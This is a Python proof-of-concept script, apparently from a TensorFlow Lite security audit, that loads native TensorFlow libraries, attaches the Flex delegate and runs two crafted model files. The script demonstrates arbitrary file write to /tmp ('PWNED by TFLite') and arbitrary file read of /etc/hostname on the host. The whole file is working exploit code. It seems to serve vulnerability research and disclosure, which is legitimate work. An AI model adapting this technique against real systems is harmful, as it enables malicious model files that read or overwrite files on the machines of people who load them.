import os, ctypes, sys

tf_dir = "/home/lab/huntr/tflite_audit/venv/lib/python3.12/site-packages/tensorflow"

# Only import the wrapper, not full TF
# This avoids the double-registration issue

# First, add TF to sys.path so imports work
sys.path.insert(0, tf_dir)

# Load just the needed native libs
fw = ctypes.CDLL(os.path.join(tf_dir, "libtensorflow_framework.so.2"), mode=ctypes.RTLD_GLOBAL)
cc = ctypes.CDLL(os.path.join(tf_dir, "libtensorflow_cc.so.2"), mode=ctypes.RTLD_GLOBAL)

# Acquire flex delegate
acquire = cc._ZN6tflite19AcquireFlexDelegateEv
acquire.restype = ctypes.c_void_p
acquire.argtypes = []
flex_ptr = acquire()
print(f"FlexDelegate: hex(flex_ptr)={hex(flex_ptr)}")

# Now import just the wrapper - skip full TF
from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper

# Test with flex_write
print("\n=== Test 1: flex_write.tflite ===")
with open("models/flex_write.tflite", "rb") as f:
    write_data = f.read()

w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
print("Created interpreter")

result = w.ModifyGraphWithDelegate(flex_ptr)
print(f"ModifyGraphWithDelegate:  {result}")

try:
    w.AllocateTensors()
    print("AllocateTensors succeeded!")
    
    import numpy as np
    input_idx = w.InputIndices()
    print(f"Input indices: {input_idx}")
    if input_idx:
        w.SetTensor(input_idx[0], np.array(b"PWNED by TFLite"))
    
    w.Invoke()
    print("INVOKE SUCCEEDED!")
    
    if os.path.exists("/tmp/tflite_pwned.txt"):
        with open("/tmp/tflite_pwned.txt") as f:
            print(f"*** FILE WRITTEN: {f.read()} ***")
    else:
        print("File not written")
except Exception as e:
    print(f"Error: {type(e).__name__}: {str(e)[:800]}")

# Test 2: flex_read
print("\n=== Test 2: flex_read.tflite ===")
with open("models/flex_read.tflite", "rb") as f:
    read_data = f.read()

w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
w2.ModifyGraphWithDelegate(flex_ptr)

try:
    w2.AllocateTensors()
    print("AllocateTensors succeeded!")
    import numpy as np
    input_idx2 = w2.InputIndices()
    w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
    w2.Invoke()
    print("INVOKE SUCCEEDED!")
    output_idx2 = w2.OutputIndices()
    output = w2.GetTensor(output_idx2[0])
    print(f"*** FILE READ: {output} ***")
except Exception as e:
    print(f"Error: {type(e).__name__}: {str(e)[:800]}")